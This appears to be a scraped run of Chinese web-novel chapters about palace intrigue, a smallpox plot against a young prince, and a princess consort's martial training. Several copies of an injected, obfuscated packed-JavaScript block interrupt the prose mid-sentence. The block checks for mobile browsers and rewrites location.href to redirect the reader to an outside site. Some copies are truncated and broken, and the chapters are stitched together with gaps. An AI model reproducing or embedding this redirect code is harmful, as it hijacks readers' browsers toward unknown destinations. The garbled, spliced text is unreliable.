这对他们来说,是一个天大的好消息。 就这证明,萧北铭短时间,不会被派回北疆,而乌二,也不会离开镇北军。 南离皇萧昀年轻之时,亲征南疆数次,有输有赢,南疆的百越一直是他的心腹大患。 现在他稳坐江山,最大的目标,就是吞并百越,让南疆从此再无战事。 萧北铭和乌二都有着丰富的作战经验,自然就成为了皇上的智囊,为南疆即将开启的战事,从早忙到晚。 这一日,萧昀正在御书房和众臣商议南疆之事,夏公公突然来急报: “皇上,工部尚书雷大人,在督建地宫之时,亲选石材,不慎跌落山崖,找到的时候,人已经没有气了。” 萧北铭表面不动声色,心中马上就想到,前几日,苏苡安跟他打听,各个品阶的官员若殉职,皇上会如何抚恤…… 这次,是雷明义真的不慎失足,还是她的手笔? 如果是她,那她的手腕,真的厉害,在我的眼皮子地下,不动声色就干了件这么大的事。 不仅让雷明义**,还能用他的死封妻荫子。 如此智计,只让她做个后宅妇人,真是屈才了…… 萧昀惋惜了好一阵,下旨由国库出钱,大办雷明义的丧事。 并且,封雷夫人为二品诰命夫人,还让他的嫡子雷执,去工部做了一个九品官,从此走上子承父业之路。 萧北铭马上起身上奏, “父皇,雷夫人是我先生的女儿,一向体弱多病,如今,又痛失夫君,怕是无力操办雷大人的丧事,儿臣,想让王妃去搭把手。” 萧昀这才想起来,他们还有这层关系, “嗯,你是个有心的。” 工部尚书府的主君骤然壮年身故,府中乱成了一锅粥。 雷家的叔伯子侄,上门要封账房,意图霸占雷家的家产。 雷府的几个姨娘带着他们子女和丫鬟小厮,拿着棍棒,守在账房门口,不让这些叔伯子侄进。 主君不在了,他们都想拿着府中的钱财,卷铺盖走人。 以现在胡乱的形势,雷家的东西,谁抢到就是谁的。 只有雷明义的一双嫡出子女,在前厅为他披麻戴孝,守灵。 姐弟俩,谁都假哭不出来,儿子雷执还不小心笑了,被他姐姐瞪了一眼,才抿了抿嘴,没有笑出声。 苏苡安赶到的时候,两拨人群殴得正欢,根本无人上心雷明义的丧仪,更遑论伤心了。 苏苡安把命侍卫把他们无差别地揍了一顿军棍,才开始冷面肃声训斥: “你们这些人,不给雷大人守灵,竟在这里争抢财物,雷府有嫡子,轮得着你们吃绝户? 再说,雷大人一生为官清廉,能有什么家当? 以后,雷执是雷府的当家主君,雷夫人是雷府的当家老夫人,你们这些叔伯,若是还想认这门亲,就不要欺负他们孤儿寡母。 还有你们这些妾室,若想在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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萧晏又笑了起来, “原来如此啊。 美女大人,晚上吃过饭,我能去看看魏严吗?” 苏苡安想了想, “吃过晚饭,天都黑了,想必今日,魏严体力不支会早睡,要不,咱们明日一早再去,接他一起上学,好不好?” 萧晏开心颔首, “嗯!好!” 第179章 哪里来的天花? 如今,萧北铭和乌二都要每日辰时去早朝,带萧晏出晨功的重任,自然就落到了苏苡安一个人的肩上。 为了教好萧晏,苏苡安以超高的武学天赋,很快学会了十八般兵器。 苏苡安自己都被自己身上惊人的天赋惊呆了。 有时候,她和那些从北疆战场上下来的骁兵悍将对练,脑子还没能做出反应,身体已经自动带着兵刃做出反应了。 就好像,她原本就会那些招式一样。 而且,这具身体比她想象的更有力量,她从一开始嫌弃这具身体孱弱,到如今,已经彻底爱上了。 平日里,苏苡安来后院的时候,萧晏已经和他那十个小亲卫,在四百米障碍场地热身了。 今日,那十个小亲卫都在热身,萧晏却没在这里。 苏苡安觉得,小孩子偶尔起晚了,也很正常,就在院子迎着晨风,自己练了两套剑法,可是,萧晏还没到。 苏苡安觉得不对头了,就寻去了他的院子。 萧晏还在被窝里,紧闭着眼睛,双颊通红。 苏苡安见势不妙,连忙覆上他的额头, “好烫!” “晏儿,晏儿!”苏苡安推了萧晏两下,他都没有苏醒的迹象。 苏苡安赶紧给他切脉,却不曾想,在他的小胳膊上发现了两颗红豆。 苏苡安瞳孔一颤: 是天花! 哪里来的天花? 苏苡安赶紧去熬药。 天花在现代的官方说法中,已经灭绝了,但是,她的实验室,研究各种病毒,其中就包含这东西。 此症虽凶险,但好在她知道怎么治。 苏苡安给萧晏灌了治疗药,又吩咐厨房,熬了预防用药,让全府邸服用。 为了不引起恐慌,他只对下面说,这是解暑的凉茶。 天花是传染病,发现一例,说明其他地方已经有很多了。 苏苡安合理怀疑,魏严是也染了天花,他身子骨没有晏儿好,故而昨日先发病。 还有乌豆,他昨天没事,今天还不知如何了。 苏苡安派铁柱去给丞相府和辅国将军府送了两种药。 治病的一种,给小孩子喝,预防的一种,给大人喝。 铁柱送药回来汇报: 魏严的烧昨天半夜就退了,身上并没有起痘子了,相府的府医说,他就是中了暑热而已,并非天花。 而乌豆,一点没事,连发烧都没有。 苏苡安觉得有点奇怪: 乌豆年纪大些,身体强壮,抵抗力强,他不发病,可以理解,可是,为什么魏严那小身板,也比晏儿抵抗力强啊…… 萧北铭辰时去上朝,下午才回来。 一回府,苏苡安就端了一碗药给他喝。 萧北铭问都没问是什么药,就喝了个精光。 这是一个生性多疑之人,对所爱之人的绝对信任。 苏苡安把天花之事说了。 萧北铭神色一凛,“不可能啊?天花怎么会到了皇城?” 苏苡安正色,“你怀疑我诊错病了吗?不会的,我一眼就看出来了。” 萧北铭神色冷峻, “不,我怀疑,有人对咱们下毒手了。 天花是一传十十传百的必死瘟疫,百年前,曾经让南离的南方四省十室九空,让全国人口损失近半,最后,是采用灭城的方式,才控制住,南离险些**。 此后的十数年,百越侵吞我国疆土,我们都没有力气还手。 因此,当时的南离皇制定了一项国策,发现一人天花,坑杀全城。 且那项国策,至今有效。 父皇仁慈,即便不灭一城,也得灭一府。 所以,现在,那小东西得的病不是天花,魏严也不是,你明白吗?” 发现一人染病,灭一府也能叫仁慈? 这特么也太惨绝人寰了,他怕是对仁慈有什么误解? 苏苡安觉得,自己的为人处世放到了这个时代,真的是圣母本母了。 “阿禛,你别紧张,晏儿不会有事的。 他长那么好看,我绝不会让他变成麻子,更不会让他性命有危。 不过,现在,我得亲自去一趟丞相府。” 苏苡安莫名的担心,魏府为了保全全家,会让那孩子死。 结果,去了,发现魏严真的已经不烧了,且身上一个痘痘都没有,小家伙乖乖地在书房背书呢,声音还挺洪亮。 魏合敬哂笑道: “王妃,您真的不用这么紧张,魏严真的不是天花,传染不了小殿下。 你不是遇见庸医了,小孩子发热,起点疹子,多半是吃错东西了。 要不然,你把我的府医带回去给小殿下看看?” 苏苡安一脸难为情地笑笑, “我这个人啊,就是心眼小,不管是不是天花,你们一个府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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苏苡安说着话,就从袖子里掏出了一张一千两的银票, “劳爹爹费神了,女儿绝对不让爹爹白辛苦。” 苏怀仁见钱眼开,脑子也灵光了,还真想起来一件事, “对了,前天中午,饭菜油大了些,萧晏手滑,打碎了你给他准备的那套专用碗碟。 他怕你生气,不让我跟你说,因此,他昨日用的碗碟,就是御膳房的。” 第180章 咱们要借力打力,绝对不能让她称心如意 苏苡安听得两眼一黑: 臭小子,这么大的事也敢瞒着我! 我是恶毒后娘吗?会因为他打碎了餐具而生气吗? 真是气煞我也! 苏苡安又问道,“那天,萧珩可在南书房?” 苏怀仁回忆了一下,如实告知,“皇太孙那天没去南书房,此后一直也没来,据说是请病假了。” 苏苡安明了: 八成,那套餐具,就是传染源了…… 在后宫,能同时把手伸进御膳房和南书房的,也只有皇后了,而她,有足够的理由杀死晏儿。 而且,皇后怕自己的孙子染上天花,才好些天都不去南书房。 苏苡安的眼神闪过一丝暗芒: 沐若微,你人没了! 苏怀仁见女儿的眼中闪出了狠厉,以为她又要开口骂他了,刚要开口解释,苏苡安又拍出了一张千两银票, “以后晏儿有什么事,劳烦爹爹给我传个话。” 苏怀仁眉眼皆是喜色: “那是自然,我是你爹,自然和你一条心,肯定不会纵容那个庶子的!” “监督就好,爹爹可不能打他。” 苏怀仁一脸苦瓜相,“我哪里敢打他啊……” 苏苡安在外面跑了一大圈返回镇北王府的时候,萧晏已经退热清醒了,还很有胃口地喝了一大碗粥。 他觉得自己竟然和魏严一样中暑了,很没面子,就声称自己已经能下床练武了,只是,被苏苡安制止了, “小宝乖,好好躺着,要等身上的痘子都好了,才能下床练武。” “嗯,我都听你的。” “你既然肯听我的,为何餐具坏了,回来不告诉我?” “我……” 萧晏抿唇,丧气地垂下了头,“我觉得是小事,没必要跟你说……” “你的事,哪怕是头发丝,对我来说,都是天大的事,以后,不许再有任何事情瞒着我。” 苏苡安的语气,前所未有的严厉。 萧晏糯糯地道了一声,“是……” 苏苡安安顿好了萧晏,又查问一番,镇北王府并无一人有感染的迹象,她才稍稍松了一口气。 又去到了书房,义愤填膺地对萧北铭说, “天花的传染性太强了,感染的,绝不会只是晏儿一个人。 一定是某个地方已经有很多人感染了,当地地方官怕死,给瞒下来了。 我已经查明了,晏儿患病,是在宫里用的餐具出问题了。 我合理推测,皇后是知道此事的,并且从那里弄来了感染源,再在晏儿的餐具上做了手脚。 她先让晏儿染病,再把天花带回府,是想把我们镇北王府弄成天花爆发的源头。 想让我们全府上下一起死,还背负传播瘟疫的罪孽和骂名。” 苏苡安想弄死沐若微,免得有她在宫里,萧晏在宫里读书,时时处在危险之中。 但是,她清楚自己没有能力弄死住在深宫里的一国之母,必须要借萧北铭的力量。 萧北铭从一堆公文里抬头,很赞同她的判断, “东宫**,想用什么恶毒的办法弄死我都不奇怪。 只是,他们的势力遍布南离,真心不好查源头是哪里,也只能等瘟疫爆发,实在瞒不住的时候了。” 苏苡安又道, “天花传染,是有时效的,那套带天花餐具进宫的时间,不会超过一天半,否则,就传染不上了。 大源头在哪里不清楚不好说,至少也说明,皇后把一个感染了天花的人隐匿在离上京城一天半路程的地方。” 萧北铭表情凝重了起来, “最多一天半的路程,那也太近了,一旦藏不好,很快就传到上京了……” 苏苡安蹙起眉头,卖力挑唆, “是呗!皇后这是想把她自己的命也赌上,拉你死呢,真是够纯恨的!” 萧北铭却是很理智, “不,皇后再想让我死,也不会赌上她自己的命。 我猜,她是想让镇北王府先发病,然后,再马上让父皇发病。 她的目的,是想让太子,提前登基!” 苏苡安一听,好嘛,他不愧是局中人,真是好合理啊! “那咱们就等等看呗。 若父皇发病,你就进宫侍疾,然后立个救驾救父的大功,然后再用你的聪明才智,把皇后揪出来。 若是地方上爆发天花,你就去抗疫,也立个大功,顺便赢得民心,把太子比下去。 总之,咱们要借力打力,绝对不能让她称心如意!” 萧北铭一怔,颇为惊讶的眼神看向她。 真想不到,她对**的敏锐度竟然如此高。 这些谋略之术,她都不假一点点思索就脱口而出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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记得对象的生日,准备生日礼物,这不是做人的基本素养吗? “我听乌二说,你一向节俭,从来不过生辰,把这笔专项款都省下来都贴补阵亡将士家属了,我也不好给你大摆寿宴。 免得你手下那些将士觉得我这个王妃不体恤下属,影响不好。 虽然今日出了一些小状况,但是,也不耽误咱们两个好好庆祝这个大日子。” 第181章 咱们两个天下第一好 萧北铭心中如糖如蜜,一股暖流流遍了全身,深情款款地注视着她的眼眸,薄唇轻润吐声, “辛苦了,你真可好。” 苏苡安抿唇一笑, “为你再辛苦也是值得的,咱们两个天下第一好~” “对!咱们两个天下第一好。” 萧北铭马上就被哄好了,就连从前她因为那个小东西对他的忽视,都在此刻全部释然了。 毕竟,是他们两个天下第一好,而不是她和那个小东西。 苏苡安坐下来,斟酒,举杯祝寿, “愿从今往后,千年万年,长似今年,夫君永远年轻俊俏。” 萧北铭瞬间压力山大: 她喜欢年轻俊俏的男人,可是,哪里会有人永远年轻俊俏啊? “我不会永远年轻俊俏,但是,我会永远都爱你,永远对你好。 你会不会永远爱我?永远都不会离开我?” 苏苡安觉得,他现在说这话,十分低情商: 我祝寿呢,你瞧瞧你说了什么? 而且,他这话还有点好笑。 他自以为信誓旦旦的承诺,在我的眼里,不过是甜言蜜语。 虽然,我爱听,但是,我不信。 一辈子有那么多年,我们现在才走不到一年,怎么就敢保证一辈子了? 喜新厌旧是人的本性,一辈子只爱一个人,是违背人性的。 即便他现在说的是发自肺腑的真心话,以后,随着年龄和阅历的增长,也会改变。 两个人在一起,珍惜当下就好,干嘛要承诺虚无缥缈的以后? 再说,他找一个把说谎当饭吃的花心大萝卜要承诺,这更搞笑。 我眼睛一眨能说十个慌,我的承诺分文不值,连我自己都不信啊! 不过既然他爱听山盟海誓,她也可以说,台词都是上辈子背熟的。 苏苡安的心思,一时间千转百回。 她微微勾了勾唇角,端着酒杯的手往前一探,勾住了他的手臂,呈现了一个喝交杯酒的姿势,红唇轻启, “咱们都喝了交杯酒,自然就是一辈子,如果你实在不放心,就再喝一次。 你若不离不弃,我必生死相依。” 萧北铭特别满意她的回答,这是二十五年来,他过得最开心的生辰。 交杯酒一饮而尽,他又郑重道, “我此生定不负你。” 苏以安同样回给他微笑。 两个人以十分温暖的气氛吃完一顿寿宴,苏苡安又拉着萧北铭的大手往寝殿走。 萧北铭把她的胳膊往怀里带了一下,顺势就把人打横抱了起来。 苏苡安一手环着他的后颈,一手遮住了他的眼睛。 萧北铭停下了脚步,语气很是宠溺, “淘气,你把我的眼睛捂着,我怎么走啊?仔细摔了你。” “怎么不能走啊?我夫君,什么都可以。” 对于一个习武之人,闭眼走一条走过无数次的路,不要太简单。 更何况,他怀里还抱着视若珍宝之人,哪里舍得把她摔了? 顺利到了寝殿,苏苡安才拿开了遮住他双目的手。 萧北铭惊讶地看到,他们的寝殿了,不知何时,多了许多东西。 桌子上摆满了,地上也有许多。 大大小小,都用红绸红花包着,看不出来是什么。 萧北铭十分狐疑的眼神,垂眸看向怀中之人, “这些,是什么?” 苏苡安从他的怀里跳下来, “给你的生辰礼物啊,一岁一礼,一共二十五件。咱们虽然认识得晚,但是,你从小到大的生辰礼物,是必须要补齐的,稍稍弥补相识恨晚的遗憾。” 萧北铭内心,说不出的感动,今年的生辰,也太惊喜了。 惊喜之余,萧北铭的内心,又萦绕起了悔恨。 恨那个当年拒婚的自己! “来呀,拆开看看。” 苏苡安推着萧北铭的腰,走过去。 红绸带上还有字: 一岁礼。 萧北铭拆开一岁礼,红绸包裹之下,是一个金丝楠木的小匣子。 打开匣子,里面装着一个拨浪鼓。 萧北铭怔愣了一下: 童年的记忆里,他不曾拥有过任何玩具。 苏苡安笑盈盈: “我跟那些做了娘亲的人打听了一下,一岁的小娃娃,正是玩拨浪鼓的年纪。” 她拿起拨浪鼓,在萧北铭的眼前晃了晃,眼中闪着亮光,语气娇俏道, “一岁的小禛禛,喜欢否?” 萧北铭眼眸湿润了,大手裹着她的小手,转了转拨浪鼓,低沉又悦耳的鼓点声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422926|169099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 传入耳廓,也叩响了他的心扉,他一语双关地回道, “喜欢,很喜欢。” 同时,从背后环住了她,把下巴抵在了她的肩膀上,紧紧地把人抱住。 隔着两个人的衣衫,苏苡安也感觉到了他的炽热,偏头贴了一下他的脸颊,安抚道, “你等一会儿再发骚,还有呢,来,看看你的两岁礼。” 两岁的生辰礼物,是一只小白兔布偶,巴掌大小,软萌可人,还绣着一双红眼睛。 “两岁的萧兔兔和小兔兔,你们都是兔宝宝。” 萧北铭的童年记忆里,从来没有过这种东西。 那一刻,萧北铭觉得,他缺失的童年,得到了弥补,童年的不幸,也在此刻得到了救赎,眼眸湿润了起来。 离开她,谁把他当成小孩子宠啊…… 两个人好得跟一个人似的,一件件地拆开生辰礼,都是贴合年龄的小礼物,不贵,但是都很用心。 第二十五件生辰礼,是一套睡衣。 一套白色新中式袖短裤套装,上衣有一排唐装扣,丝绸的面料,柔软亲肤有有光泽,是苏苡安设计,再让布缘坊做出来的。 “天热了,以后,你穿这套睡衣睡觉,老凉快了。” 现代人眼里中规中矩的夏季睡衣,落在萧北铭的眼里,就变成胳膊腿都没包裹住的情趣之物了。 他原本就弥漫着薄红脸颊,彼时热意已经泛滥到了耳垂,薄唇凑到了她的耳畔, “现在要看我穿吗?” 苏苡安把睡衣塞到了他的怀里, “要啊,去沐浴更衣~” 萧北铭虽然很急,但是也乖乖地抱着衣裳走去了浴室。 他用自己生平最快的速度出浴,更衣的时候,一边扣扣子,一边皱眉头。 他特别不能理解这一排扣子,足足十二颗,比蜈蚣腿都多,扣得他好生捉急。 她不是最喜欢看腹肌吗?解起来的时候,不得急死她? 可是,当苏苡安用牙齿一颗颗叼开这些扣子的时候,她急不急,萧北铭不知道,他只知道,自己好像快急疯了。 只是,刚刚包裹生辰礼的那些红绸,现下都在他的手腕脚腕上,丝毫动弹不得,只能火烧火燎地煎熬着…… 她这个人,可太坏了,坏得没边了…… 第182章 我起床气可大得很 隔日清晨。 萧北铭醒来,没有像往日那样蹑手蹑脚地下床离开,而是企图把怀中酣睡之人吻醒。 苏苡安抬手捂住了他的嘴,眼睛都没睁,含糊不清地说, “住嘴……别以为你长得好看,我就不打你……我起床气可大得很。” 昨夜,她花言巧语地诱哄才绑了萧北铭,结果,人家脱身之后把她收拾得好惨。 此刻她还浑身脱力,困倦不堪,即便现在地震了,她都懒得逃跑…… 萧北铭挪开了她覆在他唇上的手,温声细语道, “媳妇,醒醒,我有正事要跟你说。” 一说到正事,苏苡安就不得不把眼睛掀开了一条缝,危险地看着他, “你最好真的有正事,要不然,我让你好好感受一下什么叫起床气。” 萧北铭正色道, “今日,估计镇北王府周围全是眼线,一会儿,你去给那小东西下一剂药,让他发高热。 然后,多去外面请几个大夫回来给他看诊,务必要让他看起来,天花很严重的样子。 再给那些大夫一笔不多不少的**,让他们可以随时因为更多的好处叛变的程度。 这样,我好引蛇出洞。” 苏苡安睁大了眼睛,微抬下颌,冷睨着他, “就这?” “嗯,就这些,只要让东宫**得到消息,那小东西已经感染了天花,还很重,镇北王府在极力隐瞒就行。剩下的事,都由我来。” “呵呵~” 苏苡安冷笑了两声,倏尔低头,猝不及防地咬在了萧北铭光滑的肩头。 “啊~” 萧北铭疼得闷哼了一声。 苏苡安是真的下了狠劲儿咬的,两颗尖尖的虎牙瞬间就刺破了他雪白的皮肉。 萧北铭虽然疼,但是,也没有推开她,他怕自己掌握不好力度,伤了她,只是蹙眉问道, “你为何咬人?” 苏苡安感觉到了口中的血腥,才松开牙齿,一脸鄙夷地看着他, “你还有脸问为何?你还是人吗?哪里有当爹的谋害自己的儿子的?你此举和雷明义之徒有何区别?” 萧北铭辩解, “只不过是让他发热而已,这是苦肉计,是谋略,哪里有谋害那么严重?” 苏苡安大眼睛满是怒火,瞪着他,一字一句道, “就有那么严重!你知道小孩发高热会引起多少并发症吗?严重到可以丧命! 你脑子不行就不要瞎出馊主意!不要把你用脚趾头想出来的办法叫谋略!大清早的就在这里污我的耳朵! 只需把你想要的结果告诉我,至于过程如何操作,你这个弱智不要跟我指手画脚,我自有主张!” 苏苡安说完,就转过了身去,冲着墙。 萧北铭被这几句脏话怼得一愣一愣的,盯着她的后脑勺,半晌才回过神。 昨晚还说跟我天下第一好呢,今天竟然为了那个小东西,对我又骂又咬的,翻脸比翻书还快…… 萧北铭弱弱地回了一句, “你怎么可以辱骂自己的夫君?” “管你是谁,你恶心到我了,老子骂的就是你,你丫的!你现在可以滚了,别影响老子睡觉!” 苏苡安很强势地骂了这几句话,还拉起被子,蒙住了自己的耳朵。 萧北铭心里十分不是滋味,比肩膀上的伤口还疼。 可是,想想她是个软硬不吃,我行我素的主儿。 对她,打不得,骂不得,威胁不得,拿捏不得,冷落不得,也更不能和离,如果此时继续跟她掰扯,那将不会有任何结果。 还想继续跟她过日子,此刻的应对之法只有一个字: 忍。 思及此,萧北铭只能长叹一口气,接受了她的起床气,下床,穿衣,灰溜溜地滚了…… 苏苡安睡到了自然醒,才打的哈欠去看望萧晏。 小家伙坐在床上,正在摆弄什么,见她进来了,立即塞到了被子里。 他这小动作,自然逃不过苏苡安敏锐的眼睛。 苏苡安走过去坐在床边,先探了探他的额温,再撸起袖子检查他手臂上的痘痘。 痘痘已经打蔫儿了,很快就能好了,一切都在她的预料之内。 她温柔一笑, “小宝,早上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“老四,你才多大啊,就想着上战场了?” 萧南征长得俊俏归俊俏,却生得一张娃娃脸,都十七八岁了,看起来,还是一副稚气未脱的模样。 萧景泰也是真心忌惮萧南征去战场,那样,他的手里也有兵权了。 一个萧北铭掌握镇北军就够让他头痛的了,再来一个萧南征掌握镇南军,他得烦躁到寝食难安。 萧南征仗着自己稚嫩的长相,撇嘴卖乖,看起来,一点都不像顶撞储君,更像是撒娇, “太子哥哥不要总把人家当小孩子,我可是马上就要当爹的人了。 再说,当年二皇兄去北疆戍边的时候,才十三岁,我现在都奔二十去了。” 萧景泰瞟了一眼始终板着脸的萧北铭,心中更加不悦, “你能跟老二比吗?他十三岁的时候,都比你现在都高了。” 萧南征不愠不恼,笑嘻嘻地看向萧北铭, “那我就跟在二皇兄这个战神的后面,多学多看。二皇兄,你会关照我的,是吧?” 此刻,萧北铭满脑子都是清晨媳妇对他又咬又骂的画面,心情极度不愉快,一脸心事重重的样子,食不知味。 他自然也是懒得搭理萧南征,只是看在父皇的面子,不咸不淡地回了一句, “兹事体大,到时候再议。” 萧景泰听萧南征说的这番话,被膈应得不行: 父皇还没决定这次攻打南疆让谁挂帅呢,他就私自认同是萧北铭了! 本来他就掌握着镇北军,再带领南疆的镇南军作战的话,就拥有天下过半的兵马了。 那他这个太子,还算什么? 萧北铭此刻不敢接话茬,算他还懂点分寸。 萧景泰心中少许安慰,依旧面露不悦道, “老二说得对,现在还没到决定将领的那一步,你能不能去,也得看到时候,有没有适合你的职位。” 萧南征却不跟太子说这个了,而是转头看向坐在上位的父皇,一脸诚恳地说, “父皇,只要能让我去南疆,即便做个小卒子,我也是愿意的。 我的命格,专克百越,到时候,我就去克死他们。” 一句话,把萧昀逗笑了。 老四所言倒是非虚,他出生那年,他就在南疆打了大胜仗,他确实是个祥瑞。 萧昀父爱满满的目光看着眼前已经长大的三个儿子,如今,他们已经各有千秋,陡然又想起不在眼前的老三,一时间五味杂陈。 虽然楚钰是他四个儿子里最不争气的,但是,也是他关注最少,亏欠最多的。 自己为了满足老二的心愿,狠狠打了老三的脸,让他这么长时间,都不敢出府见人,唉…… 可怜天下父母心啊,父母口头上说平等地对每一个孩子,实际上,总是会偏爱某个孩子。 即便他是天子,尽管他努力地想一碗水端平,对每个孩子都好,也没办法平等地对待每个儿子。 “北铭啊,老三病了好些时日了,你抽空,去看看他。” “是,父皇。” 萧北铭自然明白父皇这个‘看看他’是何意,是让他去安抚老三。 以后,萧楚钰再不敢见人的话,父皇就要怪罪他心胸狭窄,容不下兄弟了。 萧北铭又满目愁容地说, “父皇,儿臣想给晏儿请个长假,他从小在北疆长大,受不了上京城的暑热,一到夏季就整日晕乎乎的,没办法读书。” 萧昀叹了口气, “你和镇北王妃也太能惯孩子了,天气热点,有个头疼脑热就不读书了,成何体统?” 萧北铭剑眉微蹙, “父皇,儿臣听大夫说,小孩子发热是大事,严重点会危及生命的。 要不然,就辛苦苏大学士去镇北王府教晏儿,也好让晏儿适应一样上京的暑热,明年再让他进宫读书。” 萧昀无奈地瞥了他一眼,一副恨铁不成钢的样子, “就这样吧。” 他是想不到,老二一个有战神之称的铁汉子,遇见女人和儿子的事,怎么就这么心软…… 男人有软肋,不是好事啊! 萧景泰一直直勾勾地盯着萧北铭,判断他眼中的愁绪不是演出来的。 什么暑热?应该是那小野种已经染上瘟疫,出不了门了,他才愁成这样! 午膳后,萧北铭出了宫,直奔楚王府。 楚王萧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第184章 王妃为何会北幽刀法? 镇北王府后院演武场。 苏苡安穿着一袭干练的束袖黑衣黑裤,高束马尾,扎了一条红发带,手持长剑,正在和乌二对打。 一群侍卫在旁观战。 乌二使用的兵器,是他最擅长的**。 乌二又高又壮,膀大腰圆,他用的**是特制的,足足有五十斤重。 在乌二的观念里,私底下训练若不用尽全力,战场上可能会因此丧命。 而且,对决时不全力以赴,是对对手最大的不尊重。 因此现下,他和苏苡安对练,一点也没有礼让的意思。 不一会儿的时间,苏苡安就被乌二拍倒在地五六次了。 苏苡安第一次见识到一个超级灵活的战坦的威力。 在绝对悬殊的体型差和力量面前,她这个刺客所有的战斗技巧都像是花架子。 乌二善意提醒道, “王妃,长剑根本就不是**的对手,你换**试试?” 苏苡安不服输,“再试最后一次!我今日起码要接住你十招才算合格!” 乌二决定让她认清现实,就她这瘦削的身板,还想接他十招,怎么可能?他‘镇北军第一勇士’可不是白叫的。 于是,他**作棍,一个凌空下劈。 苏苡安也是没想到乌二会这么出招,脑子还没做好反应,双手已经横剑上举了。 这**式的一招,都要把乌二吓**,立即就在空中收回了招式。 苏苡安也马上反应过来自己在干什么,吓了一大跳: 天杀的,我在干什么! 自己手里的是剑,又不是刀背,他一棍子砸下来,我的左手就要从中间断开了。 弄不好,身子都要像劈柴那样被劈两半…… 乌二惊骇之余,心中也疑惑重重: 王妃这一招,是北幽大**的破枪用法啊。 左手托住刀背,刀刃冲上,迎接砸下来的**,可以砍断枪杆。 她为何会北幽大**的经典招式…… 苏苡安见乌二神情凝重,轻笑安慰他, “不好意思啊,我刚刚傻病犯了,多谢乌二将军留我一手,我们再来!” 乌二决心试探一番, “王妃,您可要凝神啊,我不会再手下留情了。” 苏苡安下巴一抬,自信满满,“放马攻过来吧!” 乌二持着**就攻过去了,都是能逼迫她使出北幽大**招式的诱敌打法。 没有危险,全是试探。 苏苡安也没见过这么破剑招的枪法,一通胡乱接招,完全不过脑子了。 心里还嘀咕: 他怎么又开始让着我了,是给我面子吗?这个真不用啊,这样放水,能练出来啥啊? 乌二越是试探,心中越是肯定: 王妃会北幽大**,而且,她还在故意隐藏招式,装作只会用剑的样子。 她为何会北幽大**啊?她去过北疆吗?从来也没听她说过。 凡是不说的,一律按不可告人的秘密处理…… 而彼时,在周围观战的侍卫,也看出来了王妃剑法里的刀法。 他们都是从北疆战场上下来的,和北幽大军交战数年,太熟悉北幽大**的打法了。 现下,一个个开始用好奇的眼神交流,但是,谁都没有吱声。 “王妃!看杀招!” 乌二倏尔高吼了一声,横扫了一枪过去。 苏苡安提剑挡,但是,她现在练习剑法,也没多久,还不知道怎么注入自己的力气,让人剑合一,竟然一下就被扫飞了。 飞出去好远,才摔落在地。 她只觉得,持剑的右手手臂被震得发麻,几乎是失去了知觉。 “乌二!你这个混账!” 萧北铭怒骂一声,冲了过来。 他回府的第一件事,就是找媳妇,却不曾想,刚找过来,就看到自己的媳妇被自己的手足副将给打飞了。 气得他咬咬切齿,顺路冲着乌二的后腚飞踹一脚,又才朝着苏苡安跑了过去,紧张道, “媳妇儿,没事儿吧?” 苏苡安微笑摇头。 刚刚摔了这么一下,现在实在是疼得不想说话。 萧北铭单膝下蹲,躬身将人从地上抱起来, “你别跟乌二那个混账拆招,他跟人对战的时候,连亲爹亲娘都不手软的。” 苏苡安笑道,“无妨,我就是想认真练练剑,才找他的,别人都敷衍我,你别怪他。” 萧北铭一路把苏苡安抱回了寝殿,把她放到床上,牵起她的手臂,自上而下的按捏,眼中满是心疼, “乌二是镇北军中力气最大的人,你跟他练什么啊,蚍蜉撼树一样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“王爷,昨日我和王妃拆招,发现她会北幽大**的招式。” 第185章 天下岂有近三十载太子乎! 萧北铭听了乌二一脸紧张的汇报,丝毫也不以为意, “苡安看过我绘制的北幽大**刀法拆解图。 她很聪明的,眼睛看会了,手也就会了,不自觉地在剑术里使出来,一点都不奇怪,毕竟,她的剑术还处在起步阶段。” 